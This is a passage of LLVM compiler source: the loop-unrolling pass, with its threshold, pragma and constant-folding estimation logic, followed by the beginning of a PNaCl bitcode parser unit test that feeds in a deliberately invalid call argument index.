"unroll_count pragma."));
namespace {
class LoopUnroll : public LoopPass {
public:
static char ID; // Pass ID, replacement for typeid
LoopUnroll(int T = -1, int C = -1, int P = -1, int R = -1) : LoopPass(ID) {
CurrentThreshold = (T == -1) ? UnrollThreshold : unsigned(T);
CurrentAbsoluteThreshold = UnrollAbsoluteThreshold;
CurrentMinPercentOfOptimized = UnrollMinPercentOfOptimized;
CurrentCount = (C == -1) ? UnrollCount : unsigned(C);
CurrentAllowPartial = (P == -1) ? UnrollAllowPartial : (bool)P;
CurrentRuntime = (R == -1) ? UnrollRuntime : (bool)R;
UserThreshold = (T != -1) || (UnrollThreshold.getNumOccurrences() > 0);
UserAbsoluteThreshold = (UnrollAbsoluteThreshold.getNumOccurrences() > 0);
UserPercentOfOptimized =
(UnrollMinPercentOfOptimized.getNumOccurrences() > 0);
UserAllowPartial = (P != -1) ||
(UnrollAllowPartial.getNumOccurrences() > 0);
UserRuntime = (R != -1) || (UnrollRuntime.getNumOccurrences() > 0);
UserCount = (C != -1) || (UnrollCount.getNumOccurrences() > 0);
initializeLoopUnrollPass(*PassRegistry::getPassRegistry());
}
/// A magic value for use with the Threshold parameter to indicate
/// that the loop unroll should be performed regardless of how much
/// code expansion would result.
static const unsigned NoThreshold = UINT_MAX;
// Threshold to use when optsize is specified (and there is no
// explicit -unroll-threshold).
static const unsigned OptSizeUnrollThreshold = 50;
// Default unroll count for loops with run-time trip count if
// -unroll-count is not set
static const unsigned UnrollRuntimeCount = 8;
unsigned CurrentCount;
unsigned CurrentThreshold;
unsigned CurrentAbsoluteThreshold;
unsigned CurrentMinPercentOfOptimized;
bool CurrentAllowPartial;
bool CurrentRuntime;
bool UserCount; // CurrentCount is user-specified.
bool UserThreshold; // CurrentThreshold is user-specified.
bool UserAbsoluteThreshold; // CurrentAbsoluteThreshold is
// user-specified.
bool UserPercentOfOptimized; // CurrentMinPercentOfOptimized is
// user-specified.
bool UserAllowPartial; // CurrentAllowPartial is user-specified.
bool UserRuntime; // CurrentRuntime is user-specified.
bool runOnLoop(Loop *L, LPPassManager &LPM) override;
/// This transformation requires natural loop information & requires that
/// loop preheaders be inserted into the CFG...
///
void getAnalysisUsage(AnalysisUsage &AU) const override {
AU.addRequired<AssumptionCacheTracker>();
AU.addRequired<LoopInfoWrapperPass>();
AU.addPreserved<LoopInfoWrapperPass>();
AU.addRequiredID(LoopSimplifyID);
AU.addPreservedID(LoopSimplifyID);
AU.addRequiredID(LCSSAID);
AU.addPreservedID(LCSSAID);
AU.addRequired<ScalarEvolution>();
AU.addPreserved<ScalarEvolution>();
AU.addRequired<TargetTransformInfoWrapperPass>();
// FIXME: Loop unroll requires LCSSA. And LCSSA requires dom info.
// If loop unroll does not preserve dom info then LCSSA pass on next
// loop will receive invalid dom info.
// For now, recreate dom info, if loop is unrolled.
AU.addPreserved<DominatorTreeWrapperPass>();
}
// Fill in the UnrollingPreferences parameter with values from the
// TargetTransformationInfo.
void getUnrollingPreferences(Loop *L, const TargetTransformInfo &TTI,
TargetTransformInfo::UnrollingPreferences &UP) {
UP.Threshold = CurrentThreshold;
UP.AbsoluteThreshold = CurrentAbsoluteThreshold;
UP.MinPercentOfOptimized = CurrentMinPercentOfOptimized;
UP.OptSizeThreshold = OptSizeUnrollThreshold;
UP.PartialThreshold = CurrentThreshold;
UP.PartialOptSizeThreshold = OptSizeUnrollThreshold;
UP.Count = CurrentCount;
UP.MaxCount = UINT_MAX;
UP.Partial = CurrentAllowPartial;
UP.Runtime = CurrentRuntime;
UP.AllowExpensiveTripCount = false;
TTI.getUnrollingPreferences(L, UP);
}
// Select and return an unroll count based on parameters from
// user, unroll preferences, unroll pragmas, or a heuristic.
// SetExplicitly is set to true if the unroll count is is set by
// the user or a pragma rather than selected heuristically.
unsigned
selectUnrollCount(const Loop *L, unsigned TripCount, bool PragmaFullUnroll,
unsigned PragmaCount,
const TargetTransformInfo::UnrollingPreferences &UP,
bool &SetExplicitly);
// Select threshold values used to limit unrolling based on a
// total unrolled size. Parameters Threshold and PartialThreshold
// are set to the maximum unrolled size for fully and partially
// unrolled loops respectively.
void selectThresholds(const Loop *L, bool HasPragma,
const TargetTransformInfo::UnrollingPreferences &UP,
unsigned &Threshold, unsigned &PartialThreshold,
unsigned NumberOfOptimizedInstructions) {
// Determine the current unrolling threshold. While this is
// normally set from UnrollThreshold, it is overridden to a
// smaller value if the current function is marked as
// optimize-for-size, and the unroll threshold was not user
// specified.
Threshold = UserThreshold ? CurrentThreshold : UP.Threshold;
// If we are allowed to completely unroll if we can remove M% of
// instructions, and we know that with complete unrolling we'll be able
// to kill N instructions, then we can afford to completely unroll loops
// with unrolled size up to N*100/M.
// Adjust the threshold according to that:
unsigned PercentOfOptimizedForCompleteUnroll =
UserPercentOfOptimized ? CurrentMinPercentOfOptimized
: UP.MinPercentOfOptimized;
unsigned AbsoluteThreshold = UserAbsoluteThreshold
? CurrentAbsoluteThreshold
: UP.AbsoluteThreshold;
if (PercentOfOptimizedForCompleteUnroll)
Threshold = std::max<unsigned>(Threshold,
NumberOfOptimizedInstructions * 100 /
PercentOfOptimizedForCompleteUnroll);
// But don't allow unrolling loops bigger than absolute threshold.
Threshold = std::min<unsigned>(Threshold, AbsoluteThreshold);
PartialThreshold = UserThreshold ? CurrentThreshold : UP.PartialThreshold;
if (!UserThreshold &&
L->getHeader()->getParent()->hasFnAttribute(
Attribute::OptimizeForSize)) {
Threshold = UP.OptSizeThreshold;
PartialThreshold = UP.PartialOptSizeThreshold;
}
if (HasPragma) {
// If the loop has an unrolling pragma, we want to be more
// aggressive with unrolling limits. Set thresholds to at
// least the PragmaTheshold value which is larger than the
// default limits.
if (Threshold != NoThreshold)
Threshold = std::max<unsigned>(Threshold, PragmaUnrollThreshold);
if (PartialThreshold != NoThreshold)
PartialThreshold =
std::max<unsigned>(PartialThreshold, PragmaUnrollThreshold);
}
}
};
}
char LoopUnroll::ID = 0;
INITIALIZE_PASS_BEGIN(LoopUnroll, "loop-unroll", "Unroll loops", false, false)
INITIALIZE_PASS_DEPENDENCY(TargetTransformInfoWrapperPass)
INITIALIZE_PASS_DEPENDENCY(AssumptionCacheTracker)
INITIALIZE_PASS_DEPENDENCY(LoopInfoWrapperPass)
INITIALIZE_PASS_DEPENDENCY(LoopSimplify)
INITIALIZE_PASS_DEPENDENCY(LCSSA)
INITIALIZE_PASS_DEPENDENCY(ScalarEvolution)
INITIALIZE_PASS_END(LoopUnroll, "loop-unroll", "Unroll loops", false, false)
Pass *llvm::createLoopUnrollPass(int Threshold, int Count, int AllowPartial,
int Runtime) {
return new LoopUnroll(Threshold, Count, AllowPartial, Runtime);
}
Pass *llvm::createSimpleLoopUnrollPass() {
return llvm::createLoopUnrollPass(-1, -1, 0, 0);
}
static bool isLoadFromConstantInitializer(Value *V) {
if (GlobalVariable *GV = dyn_cast<GlobalVariable>(V))
if (GV->isConstant() && GV->hasDefinitiveInitializer())
return GV->getInitializer();
return false;
}
namespace {
struct FindConstantPointers {
bool LoadCanBeConstantFolded;
bool IndexIsConstant;
APInt Step;
APInt StartValue;
Value *BaseAddress;
const Loop *L;
ScalarEvolution &SE;
FindConstantPointers(const Loop *loop, ScalarEvolution &SE)
: LoadCanBeConstantFolded(true), IndexIsConstant(true), L(loop), SE(SE) {}
bool follow(const SCEV *S) {
if (const SCEVUnknown *SC = dyn_cast<SCEVUnknown>(S)) {
// We've reached the leaf node of SCEV, it's most probably just a
// variable. Now it's time to see if it corresponds to a global constant
// global (in which case we can eliminate the load), or not.
BaseAddress = SC->getValue();
LoadCanBeConstantFolded =
IndexIsConstant && isLoadFromConstantInitializer(BaseAddress);
return false;
}
if (isa<SCEVConstant>(S))
return true;
if (const SCEVAddRecExpr *AR = dyn_cast<SCEVAddRecExpr>(S)) {
// If the current SCEV expression is AddRec, and its loop isn't the loop
// we are about to unroll, then we won't get a constant address after
// unrolling, and thus, won't be able to eliminate the load.
if (AR->getLoop() != L)
return IndexIsConstant = false;
// If the step isn't constant, we won't get constant addresses in unrolled
// version. Bail out.
if (const SCEVConstant *StepSE =
dyn_cast<SCEVConstant>(AR->getStepRecurrence(SE)))
Step = StepSE->getValue()->getValue();
else
return IndexIsConstant = false;
return IndexIsConstant;
}
// If Result is true, continue traversal.
// Otherwise, we have found something that prevents us from (possible) load
// elimination.
return IndexIsConstant;
}
bool isDone() const { return !IndexIsConstant; }
};
// This class is used to get an estimate of the optimization effects that we
// could get from complete loop unrolling. It comes from the fact that some
// loads might be replaced with concrete constant values and that could trigger
// a chain of instruction simplifications.
//
// E.g. we might have:
// int a[] = {0, 1, 0};
// v = 0;
// for (i = 0; i < 3; i ++)
// v += b[i]*a[i];
// If we completely unroll the loop, we would get:
// v = b[0]*a[0] + b[1]*a[1] + b[2]*a[2]
// Which then will be simplified to:
// v = b[0]* 0 + b[1]* 1 + b[2]* 0
// And finally:
// v = b[1]
class UnrollAnalyzer : public InstVisitor<UnrollAnalyzer, bool> {
typedef InstVisitor<UnrollAnalyzer, bool> Base;
friend class InstVisitor<UnrollAnalyzer, bool>;
const Loop *L;
unsigned TripCount;
ScalarEvolution &SE;
const TargetTransformInfo &TTI;
DenseMap<Value *, Constant *> SimplifiedValues;
DenseMap<LoadInst *, Value *> LoadBaseAddresses;
SmallPtrSet<Instruction *, 32> CountedInstructions;
/// \brief Count the number of optimized instructions.
unsigned NumberOfOptimizedInstructions;
// Provide base case for our instruction visit.
bool visitInstruction(Instruction &I) { return false; };
// TODO: We should also visit ICmp, FCmp, GetElementPtr, Trunc, ZExt, SExt,
// FPTrunc, FPExt, FPToUI, FPToSI, UIToFP, SIToFP, BitCast, Select,
// ExtractElement, InsertElement, ShuffleVector, ExtractValue, InsertValue.
//
// Probaly it's worth to hoist the code for estimating the simplifications
// effects to a separate class, since we have a very similar code in
// InlineCost already.
bool visitBinaryOperator(BinaryOperator &I) {
Value *LHS = I.getOperand(0), *RHS = I.getOperand(1);
if (!isa<Constant>(LHS))
if (Constant *SimpleLHS = SimplifiedValues.lookup(LHS))
LHS = SimpleLHS;
if (!isa<Constant>(RHS))
if (Constant *SimpleRHS = SimplifiedValues.lookup(RHS))
RHS = SimpleRHS;
Value *SimpleV = nullptr;
const DataLayout &DL = I.getModule()->getDataLayout();
if (auto FI = dyn_cast<FPMathOperator>(&I))
SimpleV =
SimplifyFPBinOp(I.getOpcode(), LHS, RHS, FI->getFastMathFlags(), DL);
else
SimpleV = SimplifyBinOp(I.getOpcode(), LHS, RHS, DL);
if (SimpleV && CountedInstructions.insert(&I).second)
NumberOfOptimizedInstructions += TTI.getUserCost(&I);
if (Constant *C = dyn_cast_or_null<Constant>(SimpleV)) {
SimplifiedValues[&I] = C;
return true;
}
return false;
}
Constant *computeLoadValue(LoadInst *LI, unsigned Iteration) {
if (!LI)
return nullptr;
Value *BaseAddr = LoadBaseAddresses[LI];
if (!BaseAddr)
return nullptr;
auto GV = dyn_cast<GlobalVariable>(BaseAddr);
if (!GV)
return nullptr;
ConstantDataSequential *CDS =
dyn_cast<ConstantDataSequential>(GV->getInitializer());
if (!CDS)
return nullptr;
const SCEV *BaseAddrSE = SE.getSCEV(BaseAddr);
const SCEV *S = SE.getSCEV(LI->getPointerOperand());
const SCEV *OffSE = SE.getMinusSCEV(S, BaseAddrSE);
APInt StepC, StartC;
const SCEVAddRecExpr *AR = dyn_cast<SCEVAddRecExpr>(OffSE);
if (!AR)
return nullptr;
if (const SCEVConstant *StepSE =
dyn_cast<SCEVConstant>(AR->getStepRecurrence(SE)))
StepC = StepSE->getValue()->getValue();
else
return nullptr;
if (const SCEVConstant *StartSE = dyn_cast<SCEVConstant>(AR->getStart()))
StartC = StartSE->getValue()->getValue();
else
return nullptr;
unsigned ElemSize = CDS->getElementType()->getPrimitiveSizeInBits() / 8U;
unsigned Start = StartC.getLimitedValue();
unsigned Step = StepC.getLimitedValue();
unsigned Index = (Start + Step * Iteration) / ElemSize;
if (Index >= CDS->getNumElements())
return nullptr;
Constant *CV = CDS->getElementAsConstant(Index);
return CV;
}
public:
UnrollAnalyzer(const Loop *L, unsigned TripCount, ScalarEvolution &SE,
const TargetTransformInfo &TTI)
: L(L), TripCount(TripCount), SE(SE), TTI(TTI),
NumberOfOptimizedInstructions(0) {}
// Visit all loads the loop L, and for those that, after complete loop
// unrolling, would have a constant address and it will point to a known
// constant initializer, record its base address for future use. It is used
// when we estimate number of potentially simplified instructions.
void findConstFoldableLoads() {
for (auto BB : L->getBlocks()) {
for (BasicBlock::iterator I = BB->begin(), E = BB->end(); I != E; ++I) {
if (LoadInst *LI = dyn_cast<LoadInst>(I)) {
if (!LI->isSimple())
continue;
Value *AddrOp = LI->getPointerOperand();
const SCEV *S = SE.getSCEV(AddrOp);
FindConstantPointers Visitor(L, SE);
SCEVTraversal<FindConstantPointers> T(Visitor);
T.visitAll(S);
if (Visitor.IndexIsConstant && Visitor.LoadCanBeConstantFolded) {
LoadBaseAddresses[LI] = Visitor.BaseAddress;
}
}
}
}
}
// Given a list of loads that could be constant-folded (LoadBaseAddresses),
// estimate number of optimized instructions after substituting the concrete
// values for the given Iteration. Also track how many instructions become
// dead through this process.
unsigned estimateNumberOfOptimizedInstructions(unsigned Iteration) {
// We keep a set vector for the worklist so that we don't wast space in the
// worklist queuing up the same instruction repeatedly. This can happen due
// to multiple operands being the same instruction or due to the same
// instruction being an operand of lots of things that end up dead or
// simplified.
SmallSetVector<Instruction *, 8> Worklist;
// Clear the simplified values and counts for this iteration.
SimplifiedValues.clear();
CountedInstructions.clear();
NumberOfOptimizedInstructions = 0;
// We start by adding all loads to the worklist.
for (auto &LoadDescr : LoadBaseAddresses) {
LoadInst *LI = LoadDescr.first;
SimplifiedValues[LI] = computeLoadValue(LI, Iteration);
if (CountedInstructions.insert(LI).second)
NumberOfOptimizedInstructions += TTI.getUserCost(LI);
for (User *U : LI->users())
Worklist.insert(cast<Instruction>(U));
}
// And then we try to simplify every user of every instruction from the
// worklist. If we do simplify a user, add it to the worklist to process
// its users as well.
while (!Worklist.empty()) {
Instruction *I = Worklist.pop_back_val();
if (!L->contains(I))
continue;
if (!visit(I))
continue;
for (User *U : I->users())
Worklist.insert(cast<Instruction>(U));
}
// Now that we know the potentially simplifed instructions, estimate number
// of instructions that would become dead if we do perform the
// simplification.
// The dead instructions are held in a separate set. This is used to
// prevent us from re-examining instructions and make sure we only count
// the benifit once. The worklist's internal set handles insertion
// deduplication.
SmallPtrSet<Instruction *, 16> DeadInstructions;
// Lambda to enque operands onto the worklist.
auto EnqueueOperands = [&](Instruction &I) {
for (auto *Op : I.operand_values())
if (auto *OpI = dyn_cast<Instruction>(Op))
if (!OpI->use_empty())
Worklist.insert(OpI);
};
// Start by initializing worklist with simplified instructions.
for (auto &FoldedKeyValue : SimplifiedValues)
if (auto *FoldedInst = dyn_cast<Instruction>(FoldedKeyValue.first)) {
DeadInstructions.insert(FoldedInst);
// Add each instruction operand of this dead instruction to the
// worklist.
EnqueueOperands(*FoldedInst);
}
// If a definition of an insn is only used by simplified or dead
// instructions, it's also dead. Check defs of all instructions from the
// worklist.
while (!Worklist.empty()) {
Instruction *I = Worklist.pop_back_val();
if (!L->contains(I))
continue;
if (DeadInstructions.count(I))
continue;
if (std::all_of(I->user_begin(), I->user_end(), [&](User *U) {
return DeadInstructions.count(cast<Instruction>(U));
})) {
NumberOfOptimizedInstructions += TTI.getUserCost(I);
DeadInstructions.insert(I);
EnqueueOperands(*I);
}
}
return NumberOfOptimizedInstructions;
}
};
} // namespace
// Complete loop unrolling can make some loads constant, and we need to know if
// that would expose any further optimization opportunities.
// This routine estimates this optimization effect and returns the number of
// instructions, that potentially might be optimized away.
static unsigned
approximateNumberOfOptimizedInstructions(const Loop *L, ScalarEvolution &SE,
unsigned TripCount,
const TargetTransformInfo &TTI) {
if (!TripCount || !UnrollMaxIterationsCountToAnalyze)
return 0;
UnrollAnalyzer UA(L, TripCount, SE, TTI);
UA.findConstFoldableLoads();
// Estimate number of instructions, that could be simplified if we replace a
// load with the corresponding constant. Since the same load will take
// different values on different iterations, we have to go through all loop's
// iterations here. To limit ourselves here, we check only first N
// iterations, and then scale the found number, if necessary.
unsigned IterationsNumberForEstimate =
std::min<unsigned>(UnrollMaxIterationsCountToAnalyze, TripCount);
unsigned NumberOfOptimizedInstructions = 0;
for (unsigned i = 0; i < IterationsNumberForEstimate; ++i)
NumberOfOptimizedInstructions +=
UA.estimateNumberOfOptimizedInstructions(i);
NumberOfOptimizedInstructions *= TripCount / IterationsNumberForEstimate;
return NumberOfOptimizedInstructions;
}
/// ApproximateLoopSize - Approximate the size of the loop.
static unsigned ApproximateLoopSize(const Loop *L, unsigned &NumCalls,
bool &NotDuplicatable,
const TargetTransformInfo &TTI,
AssumptionCache *AC) {
SmallPtrSet<const Value *, 32> EphValues;
CodeMetrics::collectEphemeralValues(L, AC, EphValues);
CodeMetrics Metrics;
for (Loop::block_iterator I = L->block_begin(), E = L->block_end();
I != E; ++I)
Metrics.analyzeBasicBlock(*I, TTI, EphValues);
NumCalls = Metrics.NumInlineCandidates;
NotDuplicatable = Metrics.notDuplicatable;
unsigned LoopSize = Metrics.NumInsts;
// Don't allow an estimate of size zero. This would allows unrolling of loops
// with huge iteration counts, which is a compile time problem even if it's
// not a problem for code quality. Also, the code using this size may assume
// that each loop has at least three instructions (likely a conditional
// branch, a comparison feeding that branch, and some kind of loop increment
// feeding that comparison instruction).
LoopSize = std::max(LoopSize, 3u);
return LoopSize;
}
// Returns the loop hint metadata node with the given name (for example,
// "llvm.loop.unroll.count"). If no such metadata node exists, then nullptr is
// returned.
static MDNode *GetUnrollMetadataForLoop(const Loop *L, StringRef Name) {
if (MDNode *LoopID = L->getLoopID())
return GetUnrollMetadata(LoopID, Name);
return nullptr;
}
// Returns true if the loop has an unroll(full) pragma.
static bool HasUnrollFullPragma(const Loop *L) {
return GetUnrollMetadataForLoop(L, "llvm.loop.unroll.full");
}
// Returns true if the loop has an unroll(disable) pragma.
static bool HasUnrollDisablePragma(const Loop *L) {
return GetUnrollMetadataForLoop(L, "llvm.loop.unroll.disable");
}
// Returns true if the loop has an runtime unroll(disable) pragma.
static bool HasRuntimeUnrollDisablePragma(const Loop *L) {
return GetUnrollMetadataForLoop(L, "llvm.loop.unroll.runtime.disable");
}
// If loop has an unroll_count pragma return the (necessarily
// positive) value from the pragma. Otherwise return 0.
static unsigned UnrollCountPragmaValue(const Loop *L) {
MDNode *MD = GetUnrollMetadataForLoop(L, "llvm.loop.unroll.count");
if (MD) {
assert(MD->getNumOperands() == 2 &&
"Unroll count hint metadata should have two operands.");
unsigned Count =
mdconst::extract<ConstantInt>(MD->getOperand(1))->getZExtValue();
assert(Count >= 1 && "Unroll count must be positive.");
return Count;
}
return 0;
}
// Remove existing unroll metadata and add unroll disable metadata to
// indicate the loop has already been unrolled. This prevents a loop
// from being unrolled more than is directed by a pragma if the loop
// unrolling pass is run more than once (which it generally is).
static void SetLoopAlreadyUnrolled(Loop *L) {
MDNode *LoopID = L->getLoopID();
if (!LoopID) return;
// First remove any existing loop unrolling metadata.
SmallVector<Metadata *, 4> MDs;
// Reserve first location for self reference to the LoopID metadata node.
MDs.push_back(nullptr);
for (unsigned i = 1, ie = LoopID->getNumOperands(); i < ie; ++i) {
bool IsUnrollMetadata = false;
MDNode *MD = dyn_cast<MDNode>(LoopID->getOperand(i));
if (MD) {
const MDString *S = dyn_cast<MDString>(MD->getOperand(0));
IsUnrollMetadata = S && S->getString().startswith("llvm.loop.unroll.");
}
if (!IsUnrollMetadata)
MDs.push_back(LoopID->getOperand(i));
}
// Add unroll(disable) metadata to disable future unrolling.
LLVMContext &Context = L->getHeader()->getContext();
SmallVector<Metadata *, 1> DisableOperands;
DisableOperands.push_back(MDString::get(Context, "llvm.loop.unroll.disable"));
MDNode *DisableNode = MDNode::get(Context, DisableOperands);
MDs.push_back(DisableNode);
MDNode *NewLoopID = MDNode::get(Context, MDs);
// Set operand 0 to refer to the loop id itself.
NewLoopID->replaceOperandWith(0, NewLoopID);
L->setLoopID(NewLoopID);
}
unsigned LoopUnroll::selectUnrollCount(
const Loop *L, unsigned TripCount, bool PragmaFullUnroll,
unsigned PragmaCount, const TargetTransformInfo::UnrollingPreferences &UP,
bool &SetExplicitly) {
SetExplicitly = true;
// User-specified count (either as a command-line option or
// constructor parameter) has highest precedence.
unsigned Count = UserCount ? CurrentCount : 0;
// If there is no user-specified count, unroll pragmas have the next
// highest precendence.
if (Count == 0) {
if (PragmaCount) {
Count = PragmaCount;
} else if (PragmaFullUnroll) {
Count = TripCount;
}
}
if (Count == 0)
Count = UP.Count;
if (Count == 0) {
SetExplicitly = false;
if (TripCount == 0)
// Runtime trip count.
Count = UnrollRuntimeCount;
else
// Conservative heuristic: if we know the trip count, see if we can
// completely unroll (subject to the threshold, checked below); otherwise
// try to find greatest modulo of the trip count which is still under
// threshold value.
Count = TripCount;
}
if (TripCount && Count > TripCount)
return TripCount;
return Count;
}
bool LoopUnroll::runOnLoop(Loop *L, LPPassManager &LPM) {
if (skipOptnoneFunction(L))
return false;
Function &F = *L->getHeader()->getParent();
LoopInfo *LI = &getAnalysis<LoopInfoWrapperPass>().getLoopInfo();
ScalarEvolution *SE = &getAnalysis<ScalarEvolution>();
const TargetTransformInfo &TTI =
getAnalysis<TargetTransformInfoWrapperPass>().getTTI(F);
auto &AC = getAnalysis<AssumptionCacheTracker>().getAssumptionCache(F);
BasicBlock *Header = L->getHeader();
DEBUG(dbgs() << "Loop Unroll: F[" << Header->getParent()->getName()
<< "] Loop %" << Header->getName() << "\n");
if (HasUnrollDisablePragma(L)) {
return false;
}
bool PragmaFullUnroll = HasUnrollFullPragma(L);
unsigned PragmaCount = UnrollCountPragmaValue(L);
bool HasPragma = PragmaFullUnroll || PragmaCount > 0;
TargetTransformInfo::UnrollingPreferences UP;
getUnrollingPreferences(L, TTI, UP);
// Find trip count and trip multiple if count is not available
unsigned TripCount = 0;
unsigned TripMultiple = 1;
// If there are multiple exiting blocks but one of them is the latch, use the
// latch for the trip count estimation. Otherwise insist on a single exiting
// block for the trip count estimation.
BasicBlock *ExitingBlock = L->getLoopLatch();
if (!ExitingBlock || !L->isLoopExiting(ExitingBlock))
ExitingBlock = L->getExitingBlock();
if (ExitingBlock) {
TripCount = SE->getSmallConstantTripCount(L, ExitingBlock);
TripMultiple = SE->getSmallConstantTripMultiple(L, ExitingBlock);
}
// Select an initial unroll count. This may be reduced later based
// on size thresholds.
bool CountSetExplicitly;
unsigned Count = selectUnrollCount(L, TripCount, PragmaFullUnroll,
PragmaCount, UP, CountSetExplicitly);
unsigned NumInlineCandidates;
bool notDuplicatable;
unsigned LoopSize =
ApproximateLoopSize(L, NumInlineCandidates, notDuplicatable, TTI, &AC);
DEBUG(dbgs() << " Loop Size = " << LoopSize << "\n");
// When computing the unrolled size, note that the conditional branch on the
// backedge and the comparison feeding it are not replicated like the rest of
// the loop body (which is why 2 is subtracted).
uint64_t UnrolledSize = (uint64_t)(LoopSize-2) * Count + 2;
if (notDuplicatable) {
DEBUG(dbgs() << " Not unrolling loop which contains non-duplicatable"
<< " instructions.\n");
return false;
}
if (NumInlineCandidates != 0) {
DEBUG(dbgs() << " Not unrolling loop with inlinable calls.\n");
return false;
}
unsigned NumberOfOptimizedInstructions =
approximateNumberOfOptimizedInstructions(L, *SE, TripCount, TTI);
DEBUG(dbgs() << " Complete unrolling could save: "
<< NumberOfOptimizedInstructions << "\n");
unsigned Threshold, PartialThreshold;
selectThresholds(L, HasPragma, UP, Threshold, PartialThreshold,
NumberOfOptimizedInstructions);
// Given Count, TripCount and thresholds determine the type of
// unrolling which is to be performed.
enum { Full = 0, Partial = 1, Runtime = 2 };
int Unrolling;
if (TripCount && Count == TripCount) {
if (Threshold != NoThreshold && UnrolledSize > Threshold) {
DEBUG(dbgs() << " Too large to fully unroll with count: " << Count
<< " because size: " << UnrolledSize << ">" << Threshold
<< "\n");
Unrolling = Partial;
} else {
Unrolling = Full;
}
} else if (TripCount && Count < TripCount) {
Unrolling = Partial;
} else {
Unrolling = Runtime;
}
// Reduce count based on the type of unrolling and the threshold values.
unsigned OriginalCount = Count;
bool AllowRuntime = UserRuntime ? CurrentRuntime : UP.Runtime;
if (HasRuntimeUnrollDisablePragma(L)) {
AllowRuntime = false;
}
if (Unrolling == Partial) {
bool AllowPartial = UserAllowPartial ? CurrentAllowPartial : UP.Partial;
if (!AllowPartial && !CountSetExplicitly) {
DEBUG(dbgs() << " will not try to unroll partially because "
<< "-unroll-allow-partial not given\n");
return false;
}
if (PartialThreshold != NoThreshold && UnrolledSize > PartialThreshold) {
// Reduce unroll count to be modulo of TripCount for partial unrolling.
Count = (std::max(PartialThreshold, 3u)-2) / (LoopSize-2);
while (Count != 0 && TripCount % Count != 0)
Count--;
}
} else if (Unrolling == Runtime) {
if (!AllowRuntime && !CountSetExplicitly) {
DEBUG(dbgs() << " will not try to unroll loop with runtime trip count "
<< "-unroll-runtime not given\n");
return false;
}
// Reduce unroll count to be the largest power-of-two factor of
// the original count which satisfies the threshold limit.
while (Count != 0 && UnrolledSize > PartialThreshold) {
Count >>= 1;
UnrolledSize = (LoopSize-2) * Count + 2;
}
if (Count > UP.MaxCount)
Count = UP.MaxCount;
DEBUG(dbgs() << " partially unrolling with count: " << Count << "\n");
}
if (HasPragma) {
if (PragmaCount != 0)
// If loop has an unroll count pragma mark loop as unrolled to prevent
// unrolling beyond that requested by the pragma.
SetLoopAlreadyUnrolled(L);
// Emit optimization remarks if we are unable to unroll the loop
// as directed by a pragma.
DebugLoc LoopLoc = L->getStartLoc();
Function *F = Header->getParent();
LLVMContext &Ctx = F->getContext();
if (PragmaFullUnroll && PragmaCount == 0) {
if (TripCount && Count != TripCount) {
emitOptimizationRemarkMissed(
Ctx, DEBUG_TYPE, *F, LoopLoc,
"Unable to fully unroll loop as directed by unroll(full) pragma "
"because unrolled size is too large.");
} else if (!TripCount) {
emitOptimizationRemarkMissed(
Ctx, DEBUG_TYPE, *F, LoopLoc,
"Unable to fully unroll loop as directed by unroll(full) pragma "
"because loop has a runtime trip count.");
}
} else if (PragmaCount > 0 && Count != OriginalCount) {
emitOptimizationRemarkMissed(
Ctx, DEBUG_TYPE, *F, LoopLoc,
"Unable to unroll loop the number of times directed by "
"unroll_count pragma because unrolled size is too large.");
}
}
if (Unrolling != Full && Count < 2) {
// Partial unrolling by 1 is a nop. For full unrolling, a factor
// of 1 makes sense because loop control can be eliminated.
return false;
}
// Unroll the loop.
if (!UnrollLoop(L, Count, TripCount, AllowRuntime, UP.AllowExpensiveTripCount,
TripMultiple, LI, this, &LPM, &AC))
return false;
return true;
}
<file_sep>/unittests/Bitcode/NaClParseInstsTest.cpp
//===- llvm/unittest/Bitcode/NaClParseInstsTest.cpp ----------------------===//
// Tests parser for PNaCl bitcode instructions.
//
// The LLVM Compiler Infrastructure
//
// This file is distributed under the University of Illinois Open Source
// License. See LICENSE.TXT for details.
//
//===----------------------------------------------------------------------===//
// Tests record errors in the function block when parsing PNaCl bitcode.
// TODO(kschimpf) Add more tests.
#include "NaClMungeTest.h"
#include "llvm/Bitcode/NaCl/NaClLLVMBitCodes.h"
using namespace llvm;
namespace naclmungetest {
// Note: alignment stored as 0 or log2(Alignment)+1.
uint64_t getEncAlignPower(unsigned Power) {
return Power + 1;
}
uint64_t getEncAlignZero() { return 0; }
/// Test how we report a call arg that refers to nonexistent call argument
TEST(NaClParseInstsTest, NonexistantCallArg) {
const uint64_t BitcodeRecords[] = {
1, naclbitc::BLK_CODE_ENTER, naclbitc::MODULE_BLOCK_ID, 2, Terminator,
1, naclbitc::BLK_CODE_ENTER, naclbitc::TYPE_BLOCK_ID_NEW, 2, Terminator,
3, naclbitc::TYPE_CODE_NUMENTRY, 3, Terminator,
3, naclbitc::TYPE_CODE_INTEGER, 32, Terminator,
3, naclbitc::TYPE_CODE_VOID, Terminator,
3, naclbitc::TYPE_CODE_FUNCTION, 0, 1, 0, 0, Terminator,
0, naclbitc::BLK_CODE_EXIT, Terminator,
3, naclbitc::MODULE_CODE_FUNCTION, 2, 0, 1, 0, Terminator,
3, naclbitc::MODULE_CODE_FUNCTION, 2, 0, 0, 0, Terminator,
1, naclbitc::BLK_CODE_ENTER, naclbitc::FUNCTION_BLOCK_ID, 2, Terminator,
3, naclbitc::FUNC_CODE_DECLAREBLOCKS, 1, Terminator,
// Note: 100 is a bad value index in next line.
3, naclbitc::FUNC_CODE_INST_CALL, 0, 4, 2, 100, Terminator,
3, naclbitc::FUNC_CODE_INST_RET, Terminator,
0, naclbitc::BLK_CODE_EXIT, Terminator,
0, naclbitc::BLK_CODE_EXIT, Terminator
};
// Show text of base input.
NaClObjDumpMunger DumpMunger(ARRAY_TERM(BitcodeRecords));
EXPECT_FALSE(DumpMunger.runTest());
EXPECT_EQ(
" 0:0|<65532, 80, 69, 88, 69, 1, 0,|Magic Number: 'PEXE' (80, 69, "
"88, 69)\n"
" | 8, 0, 17, 0, 4, 0, 2, 0, 0, |PNaCl Version: 2\n"
" | 0> |\n"
" 16:0|1: <65535, 8, 2> |module { // BlockID = 8\n"
" 24:0| 1: <65535, 17, 2> | types { // BlockID = 17\n"
" 32:0| 3: <1, 3> | count 3;\n"
" 34:4| 3: <7, 32> | @t0 = i32;\n"
" 37:6| 3: <2> | @t1 = void;\n"
" 39:4| 3: <21, 0, 1, 0, 0> | @t2 = void (i32, i32);\n"
" 44:2| 0: <65534> | }\n"
" 48:0| 3: <8, 2, 0, 1, 0> | declare external void @f0(i32"
", i32);\n"
" 52:6| 3: <8, 2, 0, 0, 0> | define external void @f1(i32,"
" i32);\n"
" 57:4| 1: <65535, 12, 2> | function void @f1(i32 %p0, "
